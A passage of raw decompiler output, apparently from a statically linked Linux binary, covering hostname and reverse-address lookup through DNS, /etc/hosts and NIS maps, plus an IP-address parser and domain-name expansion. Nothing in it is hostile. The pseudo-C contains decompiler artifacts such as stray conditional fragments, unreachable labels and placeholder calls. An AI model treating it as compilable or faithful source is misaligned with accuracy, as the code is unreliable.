                <= ? L0804bf66 : ;
                if(eax != 3) {
                    goto L0804bf66;
                }
                ebx = L0804C9E4(0, "hosts.byname");
                if(*L08079DE8 != 0 && *L0807851C != 0) {
                    L0804A5CC(ebx);
                }
                if(ebx != 0) {
                    goto L0804bf4c;
                }
            }
            *L0807E788 = 1;
L0804bf66:
            esi = esi + 4;
            edi = edi + 1;
        } while(*esi != 0);
        goto L0804bf73;
L0804bf4c:
        *L0807E788 = 0;
        eax = ebx;
    } else {
L0804bf73:
        eax = 0;
    }
}

/*	Procedure: 0x0804BF7F - 0x0804BF7F
 *	Argument size: 0
 *	Local size: 0
 *	Save regs size: 0
 */

L0804BF7F()
{



}

/*	Procedure: 0x0804BF80 - 0x0804C233
 *	Argument size: 4
 *	Local size: 1028
 *	Save regs size: 12
 */

L0804BF80(A8)
/* unknown */ void  A8;
{
	/* unknown */ void  ebx;
	/* unknown */ void  esi;
	/* unknown */ void  edi;
	/* unknown */ void  Vfffffc00;



    if(!( *( *L08078FA0 + ( *A8 & 255) * 2 + 1) & 8)) {
        ecx = A8;
        goto L0804c049;
L0804bfac:
        (save)A8;
        eax = L0804CE8C();
        *L0807A318 = eax;
        if(*L0807A318 == -1) {
            *L0807E788 = 1;
            goto L0804c225;
        }
        *L08079E74 = A8;
        *L08079E78 = 0x8079e88;
        *L08079E88 = 0;
        *L08079E7C = 2;
        *L08079E80 = 4;
        *L08079DE4 = 0x807a318;
        *L08079DE8 = 0;
        *L08079E84 = 0x8079de4;
        *L0807E788 = 0;
        eax = 0x8079e74;
        goto L0804c227;
L0804c049:
        while(*ecx != 0) {
            edx = *ecx & 255;
            if(!( *( *L08078FA0 + edx * 2 + 1) & 8) && *ecx != 46) {
                goto L0804c058;
            }
            ecx = ecx + 1;
        }
        if(*(ecx - 1) != 46) {
            goto L0804bfac;
        }
    }
L0804c058:
    if(*L080784F8 == 0) {
        L0804A9D8();
    }
    edi = 0;
    if(*L08079DD4 != 0) {
        do {
            if(edi > 3) {
                break;
            }
            eax = *(edi * 4 + 0x8079dd4);
            if(eax == 2) {
                if(*L0807A348 == 0) {
                    esi = L0804C6FC(A8);
                } else {
                    (save)A8;
                    ebx = L08056664();
                    L0804A4F4(ebx);
                    (save)ebx;
                    esi = L0804C6FC();
                    (save)ebx;
                    L0805C290();
                    esp = esp + 16;
                }
                if(*L08079DE8 != 0 && *L0807851C != 0) {
                    L0804A5CC(esi);
                }
                if(esi != 0) {
                    goto L0804c1fa;
                }
L0804c20c:
                *L0807E788 = 1;
            } else {
                > ? L0804c0a0 : ;
                if(eax != 1) {
                    goto L0804c098;
                }
                eax = L0804E180(A8, 1, 1, & Vfffffc00, 1024);
                if(eax >= 0) {
                    esi = L0804B800( & Vfffffc00, eax, A8, 1, 1);
                    if(*L08079DE8 != 0 && *L0807851C != 0) {
                        L0804A5CC(esi);
                    }
                    if(esi == 0) {
                        goto L0804c216;
                    } else {
                        goto L0804c1fa;
                    }
                }
                if(!( *L0807854C & 2)) {
                    L0804F7EC("res_search failed\n");
                    goto L0804c216;
L0804c098:
                }
            }
L0804c216:
            edi = edi + 1;
        } while(*(edi * 4 + 0x8079dd4) != 0);
        goto L0804c225;
        if(eax != 3) {
            goto L0804c216;
        }
        if(*L0807A348 != 0) {
            (save)A8;
            ebx = L08056664();
            L0804A4F4(ebx);
            (save)"hosts.byname";
            (save)ebx;
            esi = L0804C9E4();
            (save)ebx;
            L0805C290();
            esp = esp + 20;
        } else {
            esi = L0804C9E4(A8, "hosts.byname");
        }
        if(*L08079DE8 != 0 && *L0807851C != 0) {
            L0804A5CC(esi);
        }
        if(esi == 0) {
            goto L0804c20c;
        }
L0804c1fa:
        *L0807E788 = 0;
        eax = L0804A580(esi);
    } else {
L0804c225:
        eax = 0;
    }
L0804c227:
    esp = ebp + -1040;
}

/*	Procedure: 0x0804C234 - 0x0804C534
 *	Argument size: 12
 *	Local size: 1544
 *	Save regs size: 12
 */

L0804C234(A8, Ac, A10)
/* unknown */ void  A8;
/* unknown */ void  Ac;
/* unknown */ void  A10;
{
	/* unknown */ void  ebx;
	/* unknown */ void  esi;
	/* unknown */ void  edi;
	/* unknown */ void  Vfffff9f8;
	/* unknown */ void  Vfffff9fc;
	/* unknown */ void  Vfffff9fd;
	/* unknown */ void  Vfffffb00;
	/* unknown */ void  Vfffffc00;



    if(A10 != 2) {
        *L0807E788 = -1;
        goto L0804c526;
L0804c258:
        *L0807E788 = 0;
        eax = edi;
    } else {
        if(*L080784F8 == 0) {
            L0804A9D8();
        }
        L0805E954();
        esi = 0;
        if(*L08079DD4 != 0) {
            ebx = & Vfffffb00;
            Vfffff9f8 = & Vfffff9fc;
            do {
                eax = *(esi * 4 + 0x8079dd4);
                if(eax == 2) {
                    edi = L0804CB94(A8, Ac, A10);
L0804c505:
                    if(edi != 0) {
                        goto L0804c258;
                    } else {
                        goto L0804c50d;
                    }
                }
                > ? L0804c2bc : ;
                if(eax == 1) {
                    ecx = A8;
                    sprintf();
                    eax = L0804DFE0(ebx, 1, 12, & Vfffffc00, 1024, ebx, "%u.%u.%u.%u.in-addr.arpa", *(ecx + 3) & 255, *(ecx + 2) & 255, *(ecx + 1) & 255, *ecx & 255);
                    if(eax >= 0) {
                        edi = L0804B800( & Vfffffc00, eax, ebx, 1, 12);
                        if(edi != 0) {
                            goto L0804c34b;
                        }
L0804c50d:
                        *L0807E788 = 1;
                    } else {
                        if(!( *L0807854C & 2)) {
                            L0804F7EC("res_query failed\n");
                        }
                    }
                }
L0804c517:
                esi = esi + 1;
            } while(*(esi * 4 + 0x8079dd4) != 0);
            goto L0804c526;
            if(eax != 3) {
                goto L0804c517;
L0804c34b:
                if(*L08078514 != 0) {
                    edx = *edi;
                    al = 0;
                    edi = edx;
                    asm("cld");
                    ecx = -1;
                    asm("repne scasb");
                    esi = !ecx - 1;
                    if(esi > 255) {
                        goto L0804c526;
                    }
                    (save)edx;
                    (save)Vfffff9f8;
                    L08056640();
                    *(esi + & Vfffff9fc) = 46;
                    *(esi + & Vfffff9fd) = 0;
                    ebx = *L08078520;
                    *L08078520 = 0;
                    edi = L0804BF80(Vfffff9f8);
                    *L08078520 = ebx;
                    *(esi + & Vfffff9fc) = 0;
                    if(edi == 0 || L08057ADC(Vfffff9f8, *edi) != 0) {
                        *L0807E788 = 1;
                        goto L0804c526;
                    }
                    ebx = *(edi + 16);
                    do {
                        if(L08056450( *ebx, A8, Ac) == 0) {
                            goto L0804c4aa;
                        }
                        ebx = ebx + 4;
                    } while(*ebx != 0);
                    *L0807E788 = 1;
                    if(*L08078518 == 0) {
                        goto L0804c526;
                    }
                    (save)32;
                    (save)1;
                    (save)"resolv";
                    L080552B0();
                    ecx = A8;
                    (save) *(ecx + 3) & 255;
                    (save) *(ecx + 2) & 255;
                    (save) *(ecx + 1) & 255;
                    (save) *ecx & 255;
                    (save) *edi;
                    (save)L0805E584( *L08078F9C, 11, 16, "gethostbyaddr: %s != %u.%u.%u.%u, possible spoof attempt");
                    (save)5;
                    L08054EB0();
                    goto L0804c526;
                }
                *(edi + 8) = A10;
                *(edi + 12) = Ac;
                *L08079DE4 = 0x807a318;
                *L08079DE8 = 0;
                *L0807A318 = *A8;
L0804c4aa:
                *L0807E788 = 0;
                eax = L0804A580(edi);
                goto L0804c528;
            }
            ecx = A8;
            sprintf();
            edi = L0804C9E4(ebx, "hosts.byaddr", ebx, "%u.%u.%u.%u", *ecx & 255, *(ecx + 1) & 255, *(ecx + 2) & 255, *(ecx + 3) & 255);
            goto L0804c505;
        }
L0804c526:
        eax = 0;
    }
L0804c528:
    esp = ebp + -1556;
}

/*	Procedure: 0x0804C535 - 0x0804C537
 *	Argument size: 0
 *	Local size: 0
 *	Save regs size: 0
 */

L0804C535()
{



}

/*	Procedure: 0x0804C538 - 0x0804C573
 *	Argument size: 4
 *	Local size: 0
 *	Save regs size: 0
 */

L0804C538(A8)
/* unknown */ void  A8;
{



    if(*L08078508 == 0) {
        (save)"r";
        (save)"/etc/hosts";
        eax = fopen();
        *L08078508 = eax;
    } else {
        eax = L08054DB8( *L08078508);
    }
    *L0807850C = *L0807850C | A8;
}

/*	Procedure: 0x0804C574 - 0x0804C5A1
 *	Argument size: 0
 *	Local size: 0
 *	Save regs size: 0
 */

L0804C574()
{



    if(*L08078508 != 0 && *L0807850C == 0) {
        eax = L0804F540( *L08078508);
        *L08078508 = 0;
    }
}

/*	Procedure: 0x0804C5A2 - 0x0804C5A3
 *	Argument size: 0
 *	Local size: 0
 *	Save regs size: 0
 */

L0804C5A2()
{



}

/*	Procedure: 0x0804C5A4 - 0x0804C6FB
 *	Argument size: 0
 *	Local size: 0
 *	Save regs size: 8
 */

L0804C5A4()
{
	/* unknown */ void  ebx;
	/* unknown */ void  esi;



    if(*L08078508 == 0) {
        eax = fopen("/etc/hosts", "r");
        *L08078508 = eax;
        if(*L08078508 == 0) {
            *L0807E788 = -1;
            eax = 0;
            goto L0804c6f3;
        }
    }
L0804c5e0:
    do {
        esi = L0804F5C4(0x8079f14, 1024, *L08078508);
        if(esi == 0) {
            goto L0804c5fe;
        }
        if(*esi == 35) {
            goto L0804c5e0;
        }
        ebx = L08057B30(esi, "#\n");
        if(ebx == 0) {
            goto L0804c5e0;
        }
        *ebx = 0;
        ebx = L08057B30(esi, " \t");
    } while(ebx == 0);
    goto L0804c640;
L0804c5fe:
    *L0807E788 = 1;
    eax = 0;
    goto L0804c6f3;
L0804c640:
    *ebx = 0;
    ebx = ebx + 1;
    *L08079E84 = 0x807a340;
    *L0807A340 = 0x807a31c;
    edx = L0804CE8C(esi);
    *( *( *L08079E84)) = edx;
    *L08079E80 = 4;
    for(*L08079E7C = 2; *ebx == 32 || *ebx == 9; ebx = ebx + 1) {
    }
    *L08079E74 = ebx;
    *L08079E78 = 0x8079e88;
    for(esi = 0x8079e88; 1; esi = esi + 4) {
        ebx = L08057B30(ebx, " \t");
        if(ebx == 0) {
            break;
        }
        *ebx = 0;
        do {
            if(!(ebx = ebx + 1) || *ebx == 0) {
                goto L0804c6de;
            }
            if(*ebx == 32) {
                continue;
            }
        } while(*ebx == 9);
        if(esi >= 0x8079f10) {
            continue;
        }
        *esi = ebx;
    }
L0804c6de:
    *esi = 0;
    *L0807E788 = 0;
    eax = 0x8079e74;
L0804c6f3:
}

/*	Procedure: 0x0804C6FC - 0x0804C9E0
 *	Argument size: 4
 *	Local size: 120
 *	Save regs size: 12
 */

L0804C6FC(A8)
/* unknown */ void  A8;
{
	/* unknown */ void  ebx;
	/* unknown */ void  esi;
	/* unknown */ void  edi;
	/* unknown */ void  Vffffff8c;
	/* unknown */ void  Vffffff90;
	/* unknown */ void  Vffffff94;
	/* unknown */ void  Vffffff98;
	/* unknown */ void  Vffffff9c;
	/* unknown */ void  Vffffffa0;
	/* unknown */ void  Vffffffa4;
	/* unknown */ void  Vffffffa8;
	/* unknown */ void  Vffffffac;
	/* unknown */ void  Vffffffb0;
	/* unknown */ void  Vffffffb4;
	/* unknown */ void  Vffffffb8;
	/* unknown */ void  Vffffffbc;
	/* unknown */ void  Vffffffc0;



    edi = 0;
    Vffffff9c = 0;
    Vffffffb4 = 0x8079bb8;
    Vffffffb0 = 0x8079c48;
    *L08079BB8 = 0;
    *L08079C48 = 0;
    Vffffffac = 0x80793b4;
    Vffffffa8 = 0x80797b5;
    Vffffffa4 = 1025;
    Vffffffa0 = 1025;
    *L08079CEC = 0;
    *L08079CF0 = 0;
    (save)A8;
    (save)0x8079d78;
    L08056640();
    (save)64;
    (save) & Vffffffc0;
    L08056954();
    L0804C538(0);
    for(Vffffff98 = ebx; 1; Vffffff9c = 0) {
        esi = L0804C5A4();
        if(esi == 0) {
            goto L0804c8d8;
        }
        if(L080565F8( *esi, A8) != 0) {
L0804c7b0:
            ebx = *(esi + 4);
            do {
                if(L080565F8( *ebx, A8) == 0) {
                    edi = edi + 1;
                    *L08079CEC = A8;
                    L08056640(0x8079d78, *esi);
                }
                ebx = ebx + 4;
            } while(*ebx != 0);
        } else {
            edi = edi + 1;
        }
        if(L080565F8( *esi, Vffffff98) != 0) {
            ebx = *(esi + 4);
            do {
                if(L080565F8( *ebx, Vffffff98) == 0) {
                    Vffffff9c = Vffffff9c + 1;
                }
                ebx = ebx + 4;
            } while(*ebx != 0);
        } else {
            Vffffff9c = Vffffff9c + 1;
        }
        if(edi != 0) {
            if(*L08078510 == 0) {
                goto L0804c8f0;
            }
            ebx = *(esi + 12);
            *L08079CE0 = *(esi + 8);
            *L08079CE4 = *(esi + 12);
            if(Vffffffa4 >= ebx) {
                L08056480( *( *(esi + 16)), Vffffffac, ebx);
                edx = Vffffffac;
                ecx = Vffffffb4;
                *ecx = edx;
                ecx = ecx + 4;
                Vffffffb4 = ecx;
                *Vffffffb4 = 0;
                Vffffffac = edx + ebx;
                Vffffffa4 = Vffffffa4 - ebx;
            }
            edi = 0;
        }
        if(Vffffff9c == 0) {
            continue;
        }
        ebx = *(esi + 12);
        if(Vffffffa0 >= ebx) {
            L08056480( *( *(esi + 16)), Vffffffa8, ebx);
            ecx = Vffffffa8;
            edx = Vffffffb0;
            *edx = ecx;
            edx = edx + 4;
            Vffffffb0 = edx;
            *Vffffffb0 = 0;
            Vffffffa8 = ecx + ebx;
            Vffffffa0 = Vffffffa0 - ebx;
        }
    }
    goto L0804c7b0;
L0804c8d8:
    L0804C574();
    if(*L08079BB8 == 0) {
        eax = 0;
        goto L0804c9d4;
L0804c8f0:
        L0804C574();
        eax = esi;
    } else {
        *L08079CDC = 0x8079cec;
        *L08079CD8 = 0x8079d78;
        Vffffff94 = 0;
        Vffffff90 = -1;
        if(*L08079C48 != 0) {
            Vffffff8c = 0x8079c48;
            do {
                edi = 0;
                if(*L08079BB8 != 0) {
                    esi = 0x8079bb8;
                    do {
                        L08056480( *Vffffff8c, & Vffffffbc, *L08079CE4);
                        ebx = Vffffffbc;
                        asm("xchg bl,bh");
                        asm("ror ebx,0x10");
                        asm("xchg bl,bh");
                        L08056480( *esi, & Vffffffb8, *L08079CE4);
                        eax = ebx ^ Vffffffb8;
                        Vffffffbc = eax;
                        if(eax < Vffffff90) {
                            Vffffff94 = edi;
                            Vffffff90 = eax;
                        }
                        esi = esi + 4;
                        edi = edi + 1;
                    } while(*esi != 0);
                }
                Vffffff8c = Vffffff8c + 4;
            } while(*Vffffff8c != 0);
        }
        if(Vffffff94 != 0) {
            edx = Vffffff94;
            *L08079BB8 = *(edx * 4 + 0x8079bb8);
            *(edx * 4 + 0x8079bb8) = *L08079BB8;
        }
        *L08079CE8 = 0x8079bb8;
        eax = 0x8079cd8;
    }
L0804c9d4:
    esp = ebp + -132;
}

/*	Procedure: 0x0804C9E1 - 0x0804C9E3
 *	Argument size: 0
 *	Local size: 0
 *	Save regs size: 0
 */

L0804C9E1()
{



}

/*	Procedure: 0x0804C9E4 - 0x0804CB92
 *	Argument size: 8
 *	Local size: 8
 *	Save regs size: 12
 */

L0804C9E4(A8, Ac)
/* unknown */ void  A8;
/* unknown */ void  Ac;
{
	/* unknown */ void  ebx;
	/* unknown */ void  edi;
	/* unknown */ void  Vfffffff8;
	/* unknown */ void  Vfffffffc;



    ebx = A8;
    if(*L0807852C == 0 && L0805D5F8(0x807852c) != 0) {
        goto L0804cab1;
    }
    if(ebx != 0) {
        (save) & Vfffffff8;
        (save) & Vfffffffc;
        al = 0;
        edi = ebx;
        asm("cld");
        ecx = -1;
        asm("repne scasb");
        (save) !ecx - 1;
        (save)ebx;
        (save)Ac;
        (save) *L0807852C;
        eax = L0805D3A8();
        esp = esp + 24;
    } else {
        if(*L08078528 != 0) {
            if(L0805D638( *L0807852C, Ac, 0x8079dcc, 0x8079dd0, & Vfffffffc, & Vfffffff8) != 0) {
                goto L0804cab1;
            }
            *L08078528 = 0;
            goto L0804cab8;
        }
        eax = L0805D814( *L0807852C, Ac, *L08079DCC, *L08079DD0, 0x8079dcc, 0x8079dd0, & Vfffffffc, & Vfffffff8);
    }
    if(eax != 0) {
L0804cab1:
        eax = 0;
    } else {
L0804cab8:
        ebx = L08057970(Vfffffffc, 10);
        if(ebx != 0) {
            *ebx = 0;
        }
        (save)" \t";
        (save)Vfffffffc;
        ebx = L08057B30();
        *ebx = 0;
        ebx = ebx + 1;
        *L08079DC8 = 0x807a340;
        *L0807A340 = 0x807a31c;
        (save)Vfffffffc;
        *( *( *L08079DC8)) = L0804CE8C();
        *L08079DC4 = 4;
        *L08079DC0 = 2;
        for(esp = esp + 12; *ebx == 32 || *ebx == 9; ebx = ebx + 1) {
        }
        *L08079DB8 = ebx;
        *L08079DBC = 0x8079e88;
        for(edi = 0x8079e88; 1; edi = edi + 4) {
            ebx = L08057B30(ebx, " \t");
            if(ebx == 0) {
                break;
            }
            *ebx = 0;
            do {
                if(!(ebx = ebx + 1) || *ebx == 0) {
                    goto L0804cb7e;
                }
                if(*ebx == 32) {
                    continue;
                }
            } while(*ebx == 9);
            if(edi >= 0x8079f10) {
                continue;
            }
            *edi = ebx;
        }
L0804cb7e:
        *edi = 0;
        eax = 0x8079db8;
    }
    esp = ebp - 20;
}

/*	Procedure: 0x0804CB93 - 0x0804CB93
 *	Argument size: 0
 *	Local size: 0
 *	Save regs size: 0
 */

L0804CB93()
{



}

/*	Procedure: 0x0804CB94 - 0x0804CBE3
 *	Argument size: 12
 *	Local size: 0
 *	Save regs size: 12
 */

L0804CB94(A8, Ac, A10)
/* unknown */ void  A8;
/* unknown */ void  Ac;
/* unknown */ void  A10;
{
	/* unknown */ void  ebx;



    L0804C538(0);
L0804cbac:
    do {
        ebx = L0804C5A4();
        if(ebx == 0) {
            break;
        }
        if(*(ebx + 8) != A10) {
            goto L0804cbac;
        }
    } while(L08056450( *( *(ebx + 16)), A8, Ac) != 0);
    L0804C574();
    return(ebx);
}

/*	Procedure: 0x0804CBE4 - 0x0804CE88
 *	Argument size: 8
 *	Local size: 96
 *	Save regs size: 12
 */

L0804CBE4(A8, Ac)
/* unknown */ void  A8;
/* unknown */ void  Ac;
{
	/* unknown */ void  ebx;
	/* unknown */ void  esi;
	/* unknown */ void  edi;
	/* unknown */ void  Vffffffa0;
	/* unknown */ void  Vffffffa4;
	/* unknown */ void  Vffffffa8;
	/* unknown */ void  Vffffffac;
	/* unknown */ void  Vffffffb0;
	/* unknown */ void  Vffffffb4;
	/* unknown */ void  Vffffffba;



    Vffffffb0 = 0;
    Vffffffb4 = A8;
    Vffffffa4 = 0;
    edi = Ac;
    if(Vffffffb0 < edi) {
        if(!(edi & 1)) {
            ecx = 0;
            eax = *L080786A8 >> 4 & 255;
            if(Vffffffb0 < eax) {
                esi = *edx;
                ebx = eax;
                Vffffffa0 = 0;
                do {
                    eax = *esi;
                    edx = Vffffffa0;
                    eax = eax & *(edx + 0x80786b0);
                    if(*(edx + 0x80786ac) == eax) {
                        break;
                    }
                    Vffffffa0 = edx + 8;
                    ecx = ecx + 1;
                } while(ecx < ebx);
            }
            edi = Vffffffa4;
            *(ebp + edi * 2 - 72) = cx;
            if(Vffffffb0 == 0 && edi > 0) {
                eax = *(ebp + edi * 2 - 74);
                if(ecx < eax) {
                    Vffffffb0 = edi;
                }
            }
            Vffffffa4 = Vffffffa4 + 1;
            Vffffffb4 = Vffffffb4 + 4;
        } else {
L0804cc80:
            ecx = 0;
            eax = *L080786A8 >> 4 & 255;
            if(0 < eax) {
                esi = *Vffffffb4;
                ebx = eax;
                Vffffffa0 = 0;
                do {
                    eax = *esi;
                    edx = Vffffffa0;
                    eax = eax & *(edx + 0x80786b0);
                    if(*(edx + 0x80786ac) == eax) {
                        break;
                    }
                    Vffffffa0 = edx + 8;
                    ecx = ecx + 1;
                } while(ecx < ebx);
            }
            edi = Vffffffa4;
            *(ebp + edi * 2 - 72) = cx;
            if(Vffffffb0 == 0 && edi > 0) {
                eax = *(ebp + edi * 2 - 74);
                if(ecx < eax) {
                    Vffffffb0 = edi;
                }
            }
            esi = Vffffffa4 + 1;
            ecx = 0;
            eax = *L080786A8 >> 4 & 255;
            if(0 < eax) {
                Vffffffa8 = *(Vffffffb4 + 4);
                ebx = eax;
                Vffffffa0 = 0;
                do {
                    edi = Vffffffa0;
                    eax = *Vffffffa8 & *(edi + 0x80786b0);
                    if(*(edi + 0x80786ac) == eax) {
                        break;
                    }
                    Vffffffa0 = edi + 8;
                    ecx = ecx + 1;
                } while(ecx < ebx);
            }
            *(ebp + esi * 2 - 72) = cx;
            if(Vffffffb0 == 0 && esi > 0) {
                eax = *(ebp + esi * 2 - 74);
                if(ecx < eax) {
                    Vffffffb0 = esi;
                }
            }
            Vffffffa4 = Vffffffa4 + 2;
            Vffffffb4 = Vffffffb4 + 8;
        }
        if(Vffffffa4 < Ac) {
            goto L0804cc80;
        }
    }
    if(Vffffffb0 != 0) {
        edi = Ac;
        if(Vffffffb0 < edi) {
            edx = & Vffffffba;
            Vffffffac = edx;
            if(edi - Vffffffb0 & 1) {
                goto L0804cdd8;
            }
            if(!(ecx = Vffffffb0 - 1)) {
                esi = A8 + ecx * 4;
                ebx = edx + ecx * 2;
                do {
                    ax = *(ebp + ecx * 2 - 72);
                    if(*ebx >= ax) {
                        break;
                    }
                    Vffffffa4 = ax;
                    *(ebp + ecx * 2 - 72) = *ebx;
                    *ebx = Vffffffa4;
                    edx = *esi;
                    edi = A8;
                    eax = *(edi + ecx * 4 + 4);
                    *esi = eax;
                    *(edi + ecx * 4 + 4) = edx;
                    esi = esi + -4;
                    ebx = ebx + -2;
                } while(ecx = ecx - 1);
            }
            Vffffffb0 = Vffffffb0 + 1;
            if(Vffffffb0 < Ac) {
L0804cdd8:
                do {
                    if(!(ecx = Vffffffb0 - 1)) {
                        esi = A8 + ecx * 4;
                        ebx = Vffffffac + ecx * 2;
                        do {
                            ax = *(ebp + ecx * 2 - 72);
                            if(*ebx >= ax) {
                                break;
                            }
                            Vffffffa4 = ax;
                            *(ebp + ecx * 2 - 72) = *ebx;
                            *ebx = Vffffffa4;
                            edi = *esi;
                            edx = A8;
                            eax = *(edx + ecx * 4 + 4);
                            *esi = eax;
                            *(edx + ecx * 4 + 4) = edi;
                            esi = esi + -4;
                            ebx = ebx + -2;
                        } while(ecx = ecx - 1);
                    }
                    ecx = Vffffffb0;
                    if(ecx >= 0) {
                        esi = A8 + ecx * 4;
                        ebx = Vffffffac + ecx * 2;
                        do {
                            ax = *(ebp + ecx * 2 - 72);
                            if(*ebx >= ax) {
                                break;
                            }
                            Vffffffa4 = ax;
                            *(ebp + ecx * 2 - 72) = *ebx;
                            *ebx = Vffffffa4;
                            edi = *esi;
                            edx = A8;
                            eax = *(edx + ecx * 4 + 4);
                            *esi = eax;
                            *(edx + ecx * 4 + 4) = edi;
                            esi = esi + -4;
                            ebx = ebx + -2;
                        } while(ecx = ecx - 1);
                    }
                    Vffffffb0 = Vffffffb0 + 2;
                } while(Vffffffb0 < Ac);
            }
        }
    }
    esp = ebp - 108;
}

/*	Procedure: 0x0804CE89 - 0x0804CE8B
 *	Argument size: 0
 *	Local size: 0
 *	Save regs size: 0
 */

L0804CE89()
{



}

/*	Procedure: 0x0804CE8C - 0x0804CEB2
 *	Argument size: 0
 *	Local size: 4
 *	Save regs size: 0
 */

L0804CE8C(A8)
/* unknown */ void  A8;
{
	/* unknown */ void  Vfffffffc;



    if(L0804CEB4(A8, & Vfffffffc) == 0) {
        return(-1);
    }
    esp = ebp;
    return(Vfffffffc);
}

/*	Procedure: 0x0804CEB3 - 0x0804CEB3
 *	Argument size: 0
 *	Local size: 0
 *	Save regs size: 0
 */

L0804CEB3()
{



}

/*	Procedure: 0x0804CEB4 - 0x0804D02A
 *	Argument size: 8
 *	Local size: 28
 *	Save regs size: 12
 */

L0804CEB4(A8, Ac)
/* unknown */ void  A8;
/* unknown */ void  Ac;
{
	/* unknown */ void  ebx;
	/* unknown */ void  esi;
	/* unknown */ void  edi;
	/* unknown */ void  Vffffffe4;
	/* unknown */ void  Vffffffe8;
	/* unknown */ void  Vffffffec;
	/* unknown */ void  Vfffffff0;
	/* unknown */ void  Vfffffff4;
	/* unknown */ void  Vfffffff8;
	/* unknown */ void  Vfffffffc;



    ebx = A8;
    for(Vffffffe8 = & Vfffffff0; 1; ebx = ebx + 1) {
        esi = 0;
        Vffffffec = 10;
        if(*ebx == 48) {
            ebx = ebx + 1;
            if(*ebx != 120) {
                if(*ebx == 88) {
                    goto L0804cee1;
                }
L0804ceec:
                Vffffffec = 8;
            } else {
L0804cee1:
                Vffffffec = 16;
                ebx = ebx + 1;
            }
        }
        al = *ebx;
        if(al != 0) {
            edi = *L08078FA0;
            do {
                if(al >= 0) {
                    edx = al & 255;
                    if(!( *(edi + edx * 2 + 1) & 8)) {
                        goto L0804cf0e;
                    }
                }
                if(Vffffffec != 16 || al < 0) {
                    break;
                }
                eax = eax & 255;
                if(*(edi + eax * 2 + 1) & 16) {
                    break;
                }
                ecx = eax + 10;
                Vffffffe4 = ecx;
                edx = esi << 4;
                if(*(edi + eax * 2 + 1) & 2) {
                    esi = Vffffffe4 + edx - 65;
                } else {
                    esi = ecx + edx - 97;
                    goto L0804cf53;
L0804cf0e:
                    eax = Vffffffec;
                    esi = esi * eax;
                    esi = edx + eax - 48;
                }
L0804cf53:
                ebx = ebx + 1;
                al = *ebx;
            } while(al != 0);
        }
        if(*ebx != 46) {
            goto L0804cf84;
        }
        eax = & Vfffffffc;
        if(Vffffffe8 >= eax || esi > 255) {
            goto L0804cfec;
        }
        ecx = Vffffffe8;
        *ecx = esi;
        Vffffffe8 = ecx + 4;
    }
    goto L0804ceec;
L0804cf84:
    if(*ebx != 0) {
        < ? L0804cfec : ;
        edx = *ebx & 255;
        if(*( *L08078FA0 + edx * 2 + 1) & 32) {
            goto L0804cfec;
        }
    }
    eax = (Vffffffe8 - & Vfffffff0 >> 2) + 1;
    if(eax != 2) {
        <= ? L0804d008 : ;
        if(eax == 3) {
            goto L0804cfcc;
        }
        if(eax == 4) {
            goto L0804cfe4;
        }
    } else {
        if(esi <= 16777215) {
            eax = Vfffffff0 << 24;
            goto L0804d006;
L0804cfcc:
            if(esi <= 65535) {
                eax = Vfffffff0 << 24;
                edx = Vfffffff4 << 16;
                goto L0804d004;
L0804cfe4:
                if(esi <= 255) {
                    goto L0804cff0;
                }
            }
        }
L0804cfec:
        eax = 0;
        goto L0804d021;
L0804cff0:
        eax = Vfffffff0 << 24 | Vfffffff4 << 16;
        edx = Vfffffff8 << 8;
L0804d004:
        eax = eax | edx;
L0804d006:
        esi = esi | eax;
    }
    if(Ac != 0) {
        eax = esi;
        asm("xchg al,ah");
        asm("ror eax,0x10");
        asm("xchg al,ah");
        *Ac = eax;
    }
    eax = 1;
L0804d021:
    esp = ebp - 40;
}

/*	Procedure: 0x0804D02B - 0x0804D02B
 *	Argument size: 0
 *	Local size: 0
 *	Save regs size: 0
 */

L0804D02B()
{



}

/*	Procedure: 0x0804D02C - 0x0804D29F
 *	Argument size: 20
 *	Local size: 12
 *	Save regs size: 12
 */

L0804D02C(A8, Ac, A10, A14, A18)
/* unknown */ void  A8;
/* unknown */ void  Ac;
/* unknown */ void  A10;
/* unknown */ void  A14;
/* unknown */ void  A18;
{
	/* unknown */ void  ebx;
	/* unknown */ void  esi;
	/* unknown */ void  edi;
	/* unknown */ void  Vfffffff4;
	/* unknown */ void  Vfffffff8;
	/* unknown */ void  Vfffffffc;



    Vfffffffc = -1;
    Vfffffff8 = 0;
    ecx = A14;
    Vfffffff4 = ecx + A18;
    edi = A10;
    esi = *edi & 255;
    ebx = edi;
    goto L0804d257;
L0804d24a:
    eax = -1;
    goto L0804d296;
L0804d257:
    while(1) {
        ebx = ebx + 1;
        if(esi == 0) {
            break;
        }
        if(eax = esi & 192) {
            if(A14 != ecx) {
                if(Vfffffff4 <= ecx) {
                    goto L0804d24a;
                }
                *ecx = 46;
                ecx = ecx + 1;
            }
            eax = esi + ecx;
            if(Vfffffff4 <= eax) {
                goto L0804d24a;
            }
            Vfffffff8 = esi + Vfffffff8 + 1;
            if(!(esi = esi - 1)) {
                eax = !esi & 3;
                if(esi > -1) {
                    if(eax == 0) {
                        goto L0804d158;
                    }
                    if(eax < 3) {
                        if(eax < 2) {
                            edx = *ebx & 255;
                            ebx = ebx + 1;
                            if(edx == 46 || edx == 92) {
                                eax = esi + ecx + 2;
                                if(Vfffffff4 <= eax) {
                                    goto L0804d24a;
                                }
                                *ecx = 92;
                                ecx = ecx + 1;
                            }
                            *ecx = dl;
                            ecx = ecx + 1;
                            if(Ac <= ebx) {
                                goto L0804d24a;
                            }
                            esi = esi - 1;
                        }
                        edx = *ebx & 255;
                        ebx = ebx + 1;
                        if(edx == 46 || edx == 92) {
                            eax = esi + ecx + 2;
                            if(Vfffffff4 <= eax) {
                                goto L0804d24a;
                            }
                            *ecx = 92;
                            ecx = ecx + 1;
                        }
                        *ecx = dl;
                        ecx = ecx + 1;
                        if(Ac <= ebx) {
                            goto L0804d24a;
                        }
                        esi = esi - 1;
                    }
                }
                edx = *ebx & 255;
                ebx = ebx + 1;
                if(edx == 46 || edx == 92) {
                    eax = esi + ecx + 2;
                    if(Vfffffff4 <= eax) {
                        goto L0804d24a;
                    }
                    *ecx = 92;
                    ecx = ecx + 1;
                }
                *ecx = dl;
                ecx = ecx + 1;
                if(Ac <= ebx) {
                    goto L0804d24a;
                }
                if(!(esi = esi - 1)) {
L0804d158:
                    do {
                        edx = *ebx & 255;
                        ebx = ebx + 1;
                        if(edx == 46 || edx == 92) {
                            if(Vfffffff4 <= esi + ecx + 2) {
                                goto L0804d24a;
                            }
                            *ecx = 92;
                            ecx = ecx + 1;
                        }
                        *ecx = dl;
                        ecx = ecx + 1;
                        if(Ac <= ebx) {
                            goto L0804d24a;
                        }
                        eax = esi - 1;
